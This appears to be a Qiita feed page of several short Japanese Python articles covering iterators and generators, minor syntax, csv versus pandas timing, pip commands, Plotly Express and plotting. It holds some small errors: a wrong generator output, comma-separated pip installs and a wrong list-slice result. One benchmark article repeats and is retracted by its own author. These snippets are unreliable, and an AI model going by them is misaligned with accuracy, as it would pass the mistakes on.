Stark Winter is Coming

else を使うことで for の終わりに処理できる。

>>> for x in range(2):
...     print(x)
... else:
...     print("done")
... 
0
1
done

# break で抜けると else は処理されない
>>> for x in range(2):
...     break
... else:
...     print("done")
... 

for文 の仕組み

  • for文に指定されたオブジェクトの __iter__() メソッドを呼び出し、イテレータを取得する
  • イテレータの __next__() を呼び出す
  • 戻り値を変数に代入し、forブロックの処理する
  • StopIteration 例外が返ってきたら、繰り返しを中断する

参考 Python ドキュメント 用語集 イテレータ
参考 Python ドキュメント Python 標準ライブラリ イテレータ型

実際に __iter__()__next__()を呼び出してみると、要素が順番に取得できることがわかる。

>>> it = [1,2].__iter__()
>>> it.__next__()
1
>>> it.__next__()
2
>>> it.__next__()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
StopIteration
>>> it.__next__()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
StopIteration

注意点
__iter__()__next__()の代わりに iternextビルドイン関数が用意されている。これらの関数は引数オブジェクトがイテラブルか(イテレータを返せる)どうかのチェックを行ってくれたりするので、こちらをを利用すること。
参考 Python 標準ライブラリ 組み込み関数 iter
参考 Python 標準ライブラリ 組み込み関数 next

イテレータはいちど StopIteration に達すると、その後は常に StopIteration を返す。ということは、同じシーケンスに対してforを2回以上は呼び出せないの?と思ったが、毎度新しいイテレータを返すため心配はいらない。

>>> x = [1, 2]
>>> x.__iter__()
<list_iterator object at 0x7f17726f9c18>
>>> x.__iter__()
<list_iterator object at 0x7f17726f9b38>

for k, v in ... はどう実現しているの?
イテレータから値を取り出して変数に代入していく、という仕組みは同じ。

複数の変数に代入する操作は、タプルを使うことで実現している。
タプルは以下のように、要素数をそのまま変数に格納できる型。
Python チュートリアル 5.3. タプルとシーケンス

>>> x, y, z = ('apple', 'banana', 'cherry')
>>> print(x)
apple
>>> print(y)
banana
>>> print(z)
cherry

イテレータでタプルを返すことで、変数が2以上の場合に対応している。

>>> it = { 'alice': 'apple', 'bob': 'banana'}.items().__iter__()
>>> type(it)
<class 'dict_itemiterator'>
>>> it.__next__()
('alice', 'apple')
>>> type(it.__next__())
<class 'tuple'>

注意点その1

変数スコープが for の外側と同じ。

>>> del x
>>> for x in range(5):
...     print(x)
... 
0
1
2
3
4
>>> print(x)
4

これは、そもそもpythonにはブロックスコープという考え方がないため。forに限らず、ifやelseにもブロックスコープがない点は、個人的には面食らった。
参考 TauStation Python3 – 変数のスコープ

注意点その2

リストの要素が途中で変更された場合、繰り返し項目に反映される。
下手に元のリストに変更を加えると、無限ループを起こす可能性がある。

>>> import time
>>> l = [1, 2, 3]
>>> for x in l:
...     print(x)
...     time.sleep(1)
...     l.insert(1, -99)
... 
1
-99
-99
-99
^CTraceback (most recent call last):
  File "<stdin>", line 3, in <module>
KeyboardInterrupt

初回のリストで固定したければ、コピーしたものを渡す。

>>> import time
>>> l = [1, 2, 3]
>>> for x in l[:]:
...     print(x)
...     time.sleep(1)
...     l.insert(1, -99)
... 
1
2
3

ジェネレータ

イテレータ( __iter__(), __next__()を実装したもの)をお手軽に作ることができる仕組み。
参考 Python ドキュメント 用語集 ジェネレータ
参考 Python 言語リファレンス yield式

以下のようにジェネレータを作成する。

>>> def gen():
...     for item in [1, 2, 3]:
...         print("generated ", item)
...         yield item # 1, 2, 3 を順番に返す

ジェネレータを実行することで、イテレータ(厳密にはジェネレータイテレータ)が取得できる。

>>> import collections
>>> isinstance(gen(), collections.Iterable)
True

宣言を確認すると、イテレータに必要な__iter__()__next__()が勝手に実装されていることがわかる。

>>> help(gen())
Help on generator object:

gen = class generator(object)
 |  Methods defined here:
 |
 |  __del__(...)
 |
 |  __getattribute__(self, name, /)
 |      Return getattr(self, name).
 |
 |  __iter__(self, /)
 |      Implement iter(self).
 |
 |  __next__(self, /)
 |      Implement next(self).
 |
 |  __repr__(self, /)
 |      Return repr(self).
 |
 |  close(...)
 |      close() -> raise GeneratorExit inside generator.
 |
 |  send(...)
 |      send(arg) -> send 'arg' into generator,
 |      return next yielded value or raise StopIteration.
 |
 |  throw(...)
 |      throw(typ[,val[,tb]]) -> raise exception in generator,
 |      return next yielded value or raise StopIteration.
 |

イテレータは、__next__()が呼ばれると yield の値を返す。

>>> def gen():
...     for item in [1, 2, 3]:
...         print("generated ", item)
...         yield item
...
>>> for x in gen():
...     print(x)
...
# 要素が必要になったタイミングでジェネレータが動く(=遅延評価される)
generated 1
1
generated 1
2
generated 1
3

要素の生成は遅延評価されるため、メモリ使用量の節約に役立つ。

遅延評価

ジェネレータに限らず、python のかなりの関数は遅延評価されるようになっている。(ように感じた)

例えば map なんかは、遅延評価されていることが分かりやすい。

>>> for x in map(lambda x: print('mapped'), [1,2,3]):
...     print(x)
...
mapped
None
mapped
None
mapped
None

このような遅延処理の仕組みのベースになっているのが、イテレータ。
要素が必要になったときにイテレータの__next__()を呼び出すことで、必要なものを、必要なときに、必要なだけ処理することができる。
参考 Python: range is not an iterator!
参考 Python2からPython3.0での変更点

>>> import collections

# rangeの戻り値はイテレータ
>>> isinstance(range(1,5), collections.Iterable)
True
# mapの戻り値もイテレータ
>>> mapped = map(lambda x: x**2, [1,2,3])
>>> isinstance(mapped, collections.Iterable)
True
# filterの戻り値もイテレータ
>>> filtered = filter(lambda x: x % 2 == 0, [1, 2, 3])
>>> isinstance(filtered, collections.Iterable)
True

Just In Timeに無駄なく処理する感じがかっこいい:crown:

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

たぶん知らないPythonマイナー文法の世界

概要

私はPythonが好きで10年ぐらい使っています.QiitaでもPythonの記事を結構読みますが,その中で,あまり見かけないPythonのマイナーな文法.マイナーな記法について紹介したいと思います.
実用性は・・・あるかどうかは知りません.マイナーな文法なんて趣味の世界でしかないですし.それはマイナーじゃねぇ!と言われるかもしれませんが,あくまで筆者が他の人のコードで見たことないものです.

リスト以外の内包表現

軽いジャブということで,リスト型以外の内包表現を取り扱いたいと思います.

辞書型

>>> {i:"a%03d"%i for i in range(3)}                                                                                                                                                             
{0: 'a000', 1: 'a001', 2: 'a002'} 

いわゆるdictのkey-valueの両方に対して,ループ変数を使うことができます.

集合型

>>> { i%10 for i in range(20)}                                                                                                                                                                  
{0, 1, 2, 3, 4, 5, 6, 7, 8, 9} 

そもそも集合型がマイナーかもしれません.ライブラリとしての実装はよくありますが,プログラミング言語の仕様レベルで集合型扱ってるものって意外に少ないかもしれないですね.いわゆるユニークな値のみを扱う型です.これに対しても内包表現が使えます.

ジェネレーター

>>> (i*2 for i in range(10))                                                                                                                                                                    
<generator object <genexpr> at 0x7fb2f5e41db0> 

ジェネレーターも内包表現できます.個人的には,あんまりジェネレーター自体を変数に入れたりすることが少ないので,お目にかかることはあまりないです.

内包表記内内包表記 != 2変数内包表記

内包表記の中に内包表記を入れることができるのは割と想像に難くないことだと思います.

>>> [ 
...     i*3
...     for i
...     in [
...         j*2
...         for j
...         in range(10)
...     ]
... ]
[0, 6, 12, 18, 24, 30, 36, 42, 48, 54] 

割と普通に組んでる分にもやることはありますが,あまり可読性が良くないのでお勧めはしない記法です.これはPythonを普通に学んでいるとわかる範囲だと思います.
しかし,以下の表記はいかがでしょうか.

>>> [ 
...     (i*3,j*2)
...     for i in range(2)
...     for j in range(3)
... ]
[(0, 0), (0, 2), (0, 4), (3, 0), (3, 2), (3, 4)] 

pythonの内包表現内でforは連続して書けます,
使いどころとしてはかなり限られますが,以下のようなときに便利だったりします.

>>> [ 
...     (i,j)
...     for i in [-1,0,1]
...     for j in [-1,0,1]
...     if abs(i) + abs(j) == 1
... ]
[(-1, 0), (0, -1), (0, 1), (1, 0)] 

じみーな例ですが,格子を扱いたいときに,縦横の近傍が欲しいときがあります.そういう時に,しれっとかけるのが便利だったりします.地味にflattenするのがめんどくさかったり,このためだけに,for文を重ねて無駄に段数作りたくなかったり,でも手で打ちたくない.みたいなときにやります.あと,ifの節を書き換えれば簡単に斜めも含んだ条件式に出来るので,そういう意味でも楽だったりします.

タプルの作り方

私は簡易的にタプルでデータ構造作ったりすることはあるんですが,普通タプルは

>>> (1,2,3) 
(1, 2, 3) 

と使うことが多いと思います.しかし,以下の構文はすべてタプルを返します.

>>> () 
() 
>>> 1,2,3 
(1, 2, 3) 
>>> 1, 
(1,)

普通にpythonの勉強をすると,「()で囲まれたリストみたいなのがタプル」と学ぶと思います.
しかし,実際はそんなことはなく,カッコ無しでも大体タプルになります.特に空のタプルが()というのは中々直感と反しているのではないでしょうか.実用上,あんまり空のタプルを使うことも少ない気がしますが・・・

for-else

for文にはelse文を付けることができます.正直使ったことないです.
どういうときに動くかというと,for文がbreakされなかった時,最後に動きます.

>>> for i in range(10): 
...     a = 1*1
... else:
...     print("run_else")
run_else

一方でbreakされると動かないです.

>>> for i in range(10): 
...     a = 1*2
...     break
... else:
...     print("run_break")
...  
>>>  

何もしないをする

pass文

何もしない文というものがあります.pythonではpassという文法があります.

>>> for i in range(10): 
...     pass 
...  
>>> 

for文の後には必ず何かしらの処理が必要になります.デバッグ等々で何もしない.をしたい.ことがあります.そういう時にpassと書くと何もしないをすることができます.これは見ることがあると思います.

渚の『……』

>>> print(...)
Ellipsis 
>>> print(Ellipsis) 
Ellipsis 

ちょこちょことnumpyのスライス記法で出てくるのですが,圧倒的にGooglabilityが低すぎて調べられないやつの1つだと思います.こいつはEllipsisと言います.「主に拡張スライス構文やユーザ定義のコンテナデータ型において使われる特殊な値」らしいです.また,Ellipsisという単語も組み込みとして入っているので,Ellipsisと打つとEllipsisを表すようです.そしてEllipsisは...です.なんだそれ.
pass文との違いは値として利用可能なので,変数に入ります.

>>> a = ... 
>>> a 
Ellipsis

なんだそれ.

虚数はiかjかで宗派が分かる

pythonには虚数も組み込みで入っています.バッテリー同梱済みです.

>>> print(2j)                                                                                                                                                                                   
2j 
>>> print((0.5+0.5j) * (0.0 + 1.0j))                                                                                                                                                           
(-0.5+0.5j)

虚数を意味しているのはjです.電気系だと電流がIであらわされることが多いので,かぶるのを嫌ってjが使われたりしますが,そういうことなんでしょうか.
あんまり私は虚数を使うプログラムは組まないですが,2次元の回転とかを表すのに便利だったりします.そんなわけで,競技プログラミングやってる人が2次元の幾何だと便利だ.みたいなことを聞いたりします.

累乗・切り捨て

全然マイナーではありませんが,pythonには累乗演算子があります.

>>> 2 ** 3 
8
>>> (-1) ** 0.25
(0.7071067811865476+0.7071067811865475j) 

**で,累乗を表すことができます.負の数も0.xの数字で累乗して虚数にできます.これ地味にすごいと思いますが,使ってるの見たことない.
では,//は?

>>> 2 // 3                                                                                                                                                                                      
0 
>>> 2 / 3                                                                                                                                                                                       
0.6666666666666666 

割り算の切り捨て演算になります.
その昔,「Python3系になったら1/2が0.5を返す!やばい!どうやったら0が手に入るんだ!」みたいなことを言ってた時に,「これからは1//2だ.」みたいなことをよく読んだ気がします.今もそんな感じなのかな.

@演算

pythonには@演算子というものがあります.
正直に言って見たことないですし,実装したこともないです.

>>> class Obj: 
...     def __init__(self,value):
...         self.value = value
...
...     def __matmul__(self,obj):
...         return "self:%d@obj:%d"%(self.value,obj.value)
...
>>> a = Obj(2)
>>> b = Obj(3)
>>> print(a@b)
self:2@obj:3 

一応行列の演算を表す演算子なのですが,実装されてるライブラリあるんですかね・・・?
たまたま,このマイナー文法企画を思いついたときに公式ドキュメントを漁って見つけましたが,他では聞いたことないです.

まとめ

長いこと触っていると変なものにぶち当たったり変なことを経験していたりします.お金になることは少ないですが.あとはショートコーディングをしていると,こういう知識がついたりします.ショートコーディング自身はただの技芸的な遊びになりがちなのですが,限界まで短くすることをやっていると,今まで見たことなかったような関数や,言語仕様に出会うことがあります.コードを書いてて,なんかダサいなぁとか,なんかもうちょっと書き方あるんじゃないかなーとか感じることがあると思いますが,そういう時は言語のライブラリを使いこなせてなかったり,回りくどい文法を使っていることが多いです.そういう時に,ショートコーディングなんかをしてみると,意外な発見があって,言語の力を引き出す別の面を垣間見れます.プログラミング言語は2週間でマスターする.みたいなことも言われたりしますが,保守しやすいコードだったり,短くきれいなコードを書くには,こういう地味な知識というのが効いてきたりします.ここに書いてある内容はトリビアルなものが多いですが,読んでいただいて,この記事が「なんかどっかで見たことある」ぐらいの記憶の片隅にあれば幸いです.

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

csvファイルを書き出すならpandasよりcsvモジュールが速い?

CSVモジュールはpandasの数10倍速い?

読書記録をつけるため、csvファイルに1行ずつ追記していく単純な関数をPython3で作りました。pythonでは標準ライブラリにcsvモジュールがあるほか、pandasでもcsvに書き出せるということで、速度計測しました。

pandas
%%timeit

from time import strftime
import pandas as pd


def readlog(title=None, impression=None, key=None, page=0, author=None, time=strftime('%Y/%m/%d'), url=None):
  df = pd.DataFrame([title,impression,key,page,author,time,url]).T
  df.to_csv('readlog.csv', mode='a', header=False)

readlog(title='monty', impression='awesome', author='python', key='Spanish Inquisition')

# 1000 loops, best of 3: 878 µs per loop
csvモジュール
%%timeit

import csv
from time import strftime
 
def rdlog(title=None, impression=None, key=None, page=0, author=None, time=strftime('%Y/%m/%d'), url=None):
  with open('rdlog.csv', mode='a') as f:
    writer = csv.writer(f)
    writer.writerow([title, impression, key, page, author, time, url])

rdlog(title='monty', impression='awesome', author='python', key='Spanish Inquisition')

# 10000 loops, best of 3: 26.3 µs per loop

結果は
pandas
1000 loops, best of 3: 878 µs per loop
csvモジュール
10000 loops, best of 3: 26.3 µs per loop

Pandasを使いこなせてない可能性

pandasでググると、実行速度を爆速化する方法を説明した記事が複数個ヒットしたので、単に下手な使い方をしているだけかもしれません。
またあとで確認したいと思います。

追記

pd.DataFrameのインスタンス生成がオーバーヘッドになっているとのご指摘を受けたのでチェック。比べると確かに重い…!

DataFrameインスタンス生成とリストの速度計測
%timeit df = pd.DataFrame(['a', 'awesome', '23', None]).T
# 1000 loops, best of 3: 344 µs per loop

%timeit lst = ['a', 'awesome', '23', None]
# 10000000 loops, best of 3: 103 ns per loop

オーバーヘッドはここだけ?

では、この箇所以外は問題ないかと言うと、そうでもありませんでした。
pd.DataFrame.to_csvもまた、csvモジュールよりベストな結果では30倍遅いという結果に(下記3と4)。計測方法などに不備がありましたら、お知らせください。すごく助かります。

以下、コードとその下に %timeitの計測結果です。
1. DataFrameからリストに変換して、csvモジュールで書き込み。セル全体の実行時間を計測。
2. リストからDataFrameに変換して、pd.DataFrame.to_csvで書き込み。セル全体の実行時間を計測。
3. csvモジュールで書き込みだけする関数を作り、実行時間を計測。
4. pd.DataFrame.to_csvの実行時間を計測。

1.DataFrame→List
%%timeit

df = pd.DataFrame(['a', 'awesome', '23', None])
lst = df.values.tolist()

with open('test.csv', mode='a') as f:
  writer = csv.writer(f)
  writer.writerow(lst)
# 1000 loops, best of 3: 285 µs per loop

1000 loops, best of 3: 285 µs per loop(DataFrame→List)

2.List→DataFrame
%%timeit 

lis = ['a', 'awesome', '23', None]
df = pd.DataFrame(lis).T

df.to_csv('pdtest.csv', 'a')
# 1000 loops, best of 3: 1.01 ms per loop

1000 loops, best of 3: 1.01 ms per loop(List→DataFrame)

3.pd.DataFrame.to_csv
%timeit df.to_csv('pdtest.csv', 'a')
# 1000 loops, best of 3: 613 µs per loop

1000 loops, best of 3: 613 µs per loop(pd.DataFrame.to_csv)

4.csvモジュール
def csvopen():
  with open('test.csv', mode='a') as f:
    writer = csv.writer(f)
    writer.writerow(lst)


%timeit csvopen()
# 10000 loops, best of 3: 22.2 µs per loop

10000 loops, best of 3: 22.2 µs per loop(csvモジュール)

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

csvファイルを書き出すならpandasよりcsvモジュールが速い?【違います】

内容間違ってます。正しい内容はコメントにあり

正しい内容はこちらこちら。両方ともこの投稿へのコメントです。
以下、記事の内容は間違っていますが、誰かが同じ勘違いをしてもこれを読んでミスに気づくよう残しておきます。

CSVモジュールはpandasの数10倍速い?

読書記録をつけるため、csvファイルに1行ずつ追記していく単純な関数をPython3で作りました。pythonでは標準ライブラリにcsvモジュールがあるほか、pandasでもcsvに書き出せるということで、速度計測しました。

pandas
%%timeit

from time import strftime
import pandas as pd


def readlog(title=None, impression=None, key=None, page=0, author=None, time=strftime('%Y/%m/%d'), url=None):
  df = pd.DataFrame([title,impression,key,page,author,time,url]).T
  df.to_csv('readlog.csv', mode='a', header=False)

readlog(title='monty', impression='awesome', author='python', key='Spanish Inquisition')

# 1000 loops, best of 3: 878 µs per loop
csvモジュール
%%timeit

import csv
from time import strftime
 
def rdlog(title=None, impression=None, key=None, page=0, author=None, time=strftime('%Y/%m/%d'), url=None):
  with open('rdlog.csv', mode='a') as f:
    writer = csv.writer(f)
    writer.writerow([title, impression, key, page, author, time, url])

rdlog(title='monty', impression='awesome', author='python', key='Spanish Inquisition')

# 10000 loops, best of 3: 26.3 µs per loop

結果は
pandas
1000 loops, best of 3: 878 µs per loop
csvモジュール
10000 loops, best of 3: 26.3 µs per loop

Pandasを使いこなせてない可能性

pandasでググると、実行速度を爆速化する方法を説明した記事が複数個ヒットしたので、単に下手な使い方をしているだけかもしれません。
またあとで確認したいと思います。

追記

pd.DataFrameのインスタンス生成がオーバーヘッドになっているとのご指摘を受けたのでチェック。比べると確かに重い…!

DataFrameインスタンス生成とリストの速度計測
%timeit df = pd.DataFrame(['a', 'awesome', '23', None]).T
# 1000 loops, best of 3: 344 µs per loop

%timeit lst = ['a', 'awesome', '23', None]
# 10000000 loops, best of 3: 103 ns per loop

オーバーヘッドはここだけ?→間違い判明

では、この箇所以外は問題ないかと言うと、そうでもありませんでした。
pd.DataFrame.to_csvもまた、csvモジュールよりベストな結果では30倍遅いという結果に(下記3と4)。計測方法などに不備がありましたら、お知らせください。すごく助かります。

以下、コードとその下に %timeitの計測結果です。
1. DataFrameからリストに変換して、csvモジュールで書き込み。セル全体の実行時間を計測。
2. リストからDataFrameに変換して、pd.DataFrame.to_csvで書き込み。セル全体の実行時間を計測。
3. csvモジュールで書き込みだけする関数を作り、実行時間を計測。
4. pd.DataFrame.to_csvの実行時間を計測。

1.DataFrame→List
%%timeit

df = pd.DataFrame(['a', 'awesome', '23', None])
lst = df.values.tolist()

with open('test.csv', mode='a') as f:
  writer = csv.writer(f)
  writer.writerow(lst)
# 1000 loops, best of 3: 285 µs per loop

1000 loops, best of 3: 285 µs per loop(DataFrame→List)

2.List→DataFrame
%%timeit 

lis = ['a', 'awesome', '23', None]
df = pd.DataFrame(lis).T

df.to_csv('pdtest.csv', 'a')
# 1000 loops, best of 3: 1.01 ms per loop

1000 loops, best of 3: 1.01 ms per loop(List→DataFrame)

3.pd.DataFrame.to_csv
%timeit df.to_csv('pdtest.csv', 'a')
# 1000 loops, best of 3: 613 µs per loop

1000 loops, best of 3: 613 µs per loop(pd.DataFrame.to_csv)

4.csvモジュール
def csvopen():
  with open('test.csv', mode='a') as f:
    writer = csv.writer(f)
    writer.writerow(lst)


%timeit csvopen()
# 10000 loops, best of 3: 22.2 µs per loop

10000 loops, best of 3: 22.2 µs per loop(csvモジュール)

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PythonをWindowsの関数電卓代わりに使う

概要

  • windows標準の関数電卓やExcelは工学系にとって使いづらい。
  • Pythonを関数電卓として使うと便利。

はじめに

複雑な数式を扱う工学系の学生や電気/機械設計エンジニアにとってwindows標準の関数電卓は使いづらくありませんか。計算式の途中を間違えると最初からやり直しですし、変数も使えないうえ、複素数も扱えません。
Excelであれば実数と虚数でセルを分けて計算できるため少しマシですが、直感的ではなく扱いづらいですし、何よりスマートでないです。
代わりとして、Pythonを用いればすべての問題を解決できます。

比較

例題

私は回路設計エンジニアで、複素数を扱います。例えば以下のような計算が日常的に現れます。

\Gamma = \left | \frac{Z_{L}-Z_{0}}{Z_{L}+Z_{0}} \right | \\
Z_{L}=52.35+39.54j \\
Z_{0}=76.89-20.87j

これを例に計算をおこないます。

Windowsの関数電卓を用いる場合

Γの計算をwindowsの関数電卓で行う場合、手順は以下のようになります。
1.実部のみを計算

(52.35-76.89)/(52.35+76.89)≒-0.120

2.虚部のみを計算

(39.54-20.87)/(39.54+20.87)≒0.485

3.絶対値を計算

\sqrt{(-0.120)^2+(0.485)^2}≒0.499

これらを手打ちするのはかなりハードです。同じ数字を何度も打つので時間がかかりますし、途中で打ち間違えに気が付いても修正できません。

Pythonを用いる場合

先ほどと同じ計算をPythonでおこないます。Pythonが標準で複素数をサポートしているので楽に計算ができます。

#変数に代入する。
zl = 52.35+39.54j
z0 = 76.89-20.87j

#計算する。
gamma = abs((zl-z0)/(zl+z0))
print(gamma)

実行結果 : 0.4993364571001565

こちらの計算方法は直感的で、打ち間違えの修正も簡単です。
効率や簡単さの点からPythonの圧勝です。

起動時にmathライブラリをimportする

Pythonのコンソールを開いてすぐの状態では、対数や三角関数などの基本的な計算がサポートされていません。Pythonを日常的に使う場合には不便なので、起動時にmathライブラリをインポートします。

calc.py
from math import *
calc_lancher.bat
@echo off
python -i calc.py

calc_lancher.bat実行後の計算例:
'計算例'

複素数を扱う場合はmathライブラリの代わりにcmathライブラリをimportしてください。

このバッチをキーボードの電卓キーに登録すると、いつでも簡単に開けて便利です。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Janomeを使って品詞の出力頻度を調べる。

Janomeをインストールする

$ pip install janome

読み込んだテキストファイルを形態素解析して、名詞をカウント

sample.py
from janome.tokenizer import Tokenizer
import zipfile
import os.path, urllib.request as req
import sys
from sys import argv
import time 

# テキスト読み込む
input_file_path = sys.argv[1]
part_of_speech = sys.argv[2]
f = open(input_file_path,'r',encoding = 'utf-8')
txt = f.read()

# 形態素解析オブジェクトの生成
t = Tokenizer()

# テキストを一行ずつ処理                    
word_dic = {}
lines = txt.split("\r\n")
for line in lines:
    malist = t.tokenize(line)
    for w in malist:
        word = w.surface
        # 品詞
        ps = w.part_of_speech
        # 名詞だけカウントする
        if ps.find(part_of_speech) < 0: 
            continue
        if not word in word_dic:
            word_dic[word] = 0
        word_dic[word] += 1

# 頻出単語を表示                                                                                    
keys = sorted(word_dic.items(), key=lambda x:x[1], reverse=True)
for word, cnt in keys[:50]:
    print("{0}({1}) ".format(word, cnt), end="")
$ python sample.py ファイル名 品詞

出力結果(名詞)

仕事(176) こと(155) 1(151) の(143) 円(134) ((129) 外(118) 利用(117) ,(113) 税(112) detail(107) https(106) jp(106) ://(104) chiebukuro(98) co(97) yahoo(96) 検査(92) 人(89) =(80) お客様(79) 名(75) 000(72) サービス(70) &(70) 人材(69) 当社(68) 場合(68) 2(64) 数(62) q(61) 会社(60) |(60) 私(59) よう(58) 採用(55) 精神(54) ]((54) ご(52) 時間(52) 何(51) qa(51) %(51) お(50) question(49)

出力結果(形容詞)

いい(37) ない(35) 良い(27) なく(14) 辛い(14) 無い(11) 欲しい(9) 問題(8) 若い(7) 甘い(6) 少なく(5) 大きく(5) 悪い(5) 仕方(5) 辛く(5) 良く(5) 高い(4) 楽しく(4) 多い(4) 新しい(4) すごく(4) 多く(4) 難しい(4) 怖い(4) 少ない(3) 悪く(3) 無く(3) 強く(3) 早く(3) 遅く(3) ふさわしい(3) 楽しい(3) 難い(3) なし(3) 低い(3) よく(3) 永く(2) ほしい(2) 悪かっ(2) 大きい(2) 少なから(2) 限り(2) 等しく(2) うまく(2) 暑い(2) 忙しい(2) しょうが(2) づらい(2) つらい(2) 酷い(2)

参考

形態素解析のライブラリ「Mecab」と「Janome」を使ってみよう - 日々の学びのアウトプットするブログ

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[Python]Plotlyのラッパーライブラリ「Plotly Express」をテスト書きした

私がPythonのグラフライブラリとしてイチオシするPlotlyにラッパーライブラリがリリースされたらしく、テスト書きをしました。

なお、私のPythonバージョンは3.8.0です。

$ python --version
Python 3.8.0a3+

インストール

$ pip install plotly_express

テスト書きで用いるデータ

Irisではモチベーションが上がらないので、ニューヨーク・メッツのノア・シンダーガードのデビューからの投球トラッキングデータを抜いてきました。

import pybaseball as pb

# MLB Advanced Mediaからデータを抜くためのID
key = pb.playerid_lookup("Syndergaard", "Noah")["key_mlbam"].values[0]

# データがpandas.DataFrameで返ってきます
data = pb.statcast_pitcher("2015-01-01", "2019-12-31", key)

# データ整形
# 投球日・イニング・投球数でソート
data = data.sort_values(["game_date", "inning", "at_bat_number", "pitch_number"])
# 球種データがNaNの場合は行ドロップ
data = data.dropna(subset=['pitch_type'])

plotly_expressでテスト書き

グラフ自体の実用性は抜きにしてガンガンテストしました。

散布図

import plotly_express as px

px.scatter(data, x="seq", y="release_speed", color="pitch_type")

newplot-11.png

Plotlyではデータ別にシーケンシャルな数値もしくはカラーコードを決めないとダメだったカラー分け散布図が1行で!
pandas.DataFrameの値をカラーコードに変換する辞書型を定義してmapする日々からバイバイ出来ました。

3次元散布図

px.scatter_3d(data, x="seq", y="release_speed", z="release_spin_rate", color="pitch_type")

image.png

折れ線グラフ

px.line(data, y="release_speed", color="pitch_type")

newplot-12.png

面グラフ

px.area(data, x="game_date", color="pitch_type")

newplot-17.png

ヒストグラム

px.histogram(data, x="inning", color="pitch_type")

newplot-13.png

箱ひげ図

px.box(data, y="release_speed", color="pitch_type")

newplot-14.png

ヴァイオリン図

px.violin(data, y="release_speed", color="pitch_type")

newplot-15.png

アニメーション

# GIF化してグラフは差し替え予定です

px.scatter(data, x="release_spin_rate", y="release_speed", color="pitch_type", animation_frame="game_year")

newplot-18.png

animation_frameでフレームの単位を決めるとアニメーションが作れます。ただし、durationredrawはラッパー側で500・Trueで固定でコントロール出来ない様です。

マージナルグラフ

px.scatter(data, x="seq", y="release_speed", color="pitch_type", marginal_y="box")

newplot-19.png

メインのグラフの周辺にマージナルなグラフを作ることが出来ます。marginal_yでY軸データ、marginal_xでX軸データを用いたグラフを付与出来ます。

まとめ

非常にシンプルなコードでPlotly製のグラフをサクッと仕上げることが出来ました。キチンと比べてはいないですが、たぶんseabornよりスゴイです。
おいでよ、Plotlyの森。

追伸

他にグラフのノウハウを発見した場合は適宜アップデートします。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

pip 利用頻度の高いコマンド

インストールしたパッケージ一覧を確認

freezeはpip自身、パッケージ管理を行うsetuptools・wheelなどは表示されない。

$ pip list
$ pip freeze

インストールしたパッケージの詳細確認

$ pip show パッケージ名

パッケージのインストール

1つのパッケージをインストール

$ pip install パッケージ名

複数パッケージをインストール

$ pip install パッケージ名, パッケージ名, ・・・

バージョンを指定してインストール

$ pip install パッケージ名==バージョン

パッケージのアップデート

パッケージのアップデート

$ pip install -U パッケージ名

pip自身のアップデート

$ pip install -U pip

パッケージのアンインストール

1つのパッケージのアンインストール

$ pip uninstall -y パッケージ名

複数パッケージをアンインストール

$ pip uninstall -y パッケージ名, パッケージ名, ・・・

インストールしたパッケージの依存関係に問題がないかチェック

$ pip check

別環境へパッケージインストール状況を移行

#現在の環境の設定ファイルを出力
$ pip freeze > requirements.txt

#一括インストール
$ pip install -r requirements.txt
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

#python で 例外 ( runtime error ) を発生させる raise RuntimeError('message')

>>> raise RuntimeError('oops!')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
RuntimeError: oops!

Original by Github issue

https://github.com/YumaInaura/YumaInaura/issues/2012

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

python

FX

https://qiita.com/haminiku/items/a032d94e4f0d862df2b2

機械学習 gem利用方法

https://employment.en-japan.com/engineerhub/entry/2018/11/09/110000

基本文法

https://qiita.com/Fendo181/items/a934e4f94021115efb2e

len()
文字数カウント
str()
文字列に変換する
type()
型の判別
input()
gets
論理型
2 * 5 == 10
変数定義
number = "Hello World"
 dict = {"title": "ワンパン"}
  print(dict)

  print(dict["title"])
if
if value > 4:
 print("hello")

elif value == 3:
 print("ddd")

else:
 print("eveneing")
関数
def number_count():
  print("5")
  print("6")
  print("7")
  print("8")
  print("9")
  print("10")
文字列メソッド
startswith()
find()
rfind()
count()
capitalize()
title()
upper()
lower()
replace()
format
"a is {}".format("a")
→"a is a" 
"a is {0} {1} {2}".format(1,2,3)
→ a is 1 2 3
配列
pencil_case = ['apple', 'banana', 'parble']

追加
append

範囲

pencil_case[0:1] 
→'apple', 'banana'


pencil_case[:1]
→最初から1まで

pencil_case[1:]
→1から最後まで

クラスメソッド
 class クラス名:
    @classmethod
    def メソッド名(cls):
インスタンス作成
post = Post()
  post.write_post()
  post.show_post()

インスタンスメソッド
class クラス名:
    def メソッド名(self):
      # 処理
インスタンス変数定義
class クラス名
    def sample(self):
      self.text = "hoge"
イニシャライザー
class クラス名:
      def __init__(self, 引数):
          self.引数 #インスタンス変数の宣言。引数の値が変数の中身になる。
          print("クラス名のインスタンスが生成されました")


  インスタンス = クラス名() 

ゲッターセッター

http://tarao-mendo.blogspot.com/2017/07/essential-python-8.html

継承
class 子クラス名(親クラス名):

class Post:

class PostDetail(Post):

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

pythonで関数をグラフに可視化

概要

レポートの作成などで得られた関数をグラフに表したいことは非常に多い。ここではフィッティングなどの場面で用いられるローレンツ関数を例としてpythonでグラフを描画し保存する方法を解説する

環境

PC:windows10(64bit)
python3.6.8
matplotlib2.2.0
numpy1.16.0
jupyter notebook1.1.0

ライブラリのインストールはpipにより行っている。

pip install jupyter notebook
pip install numpy
pip install matplotlib

理論

ローレンツ関数は以下の式で表される。

f(x) = y0 + \frac{1}{\pi} \frac{\omega}{(x-x0)^2 + \omega^2} 

関数の定数としてω,x0,y0を含む。
関数の概形は下の結果を参照していただきたい。x = x0で極大値をとる。

コード

それではpython でローレンツ関数を描画していく。

コードは以下の通りである。

import pylab as plt
import numpy as np

xmin=-5; xmax=5; npoints=100
delta=(xmax-xmin)/npoints
w=2; x0=0; y0=0

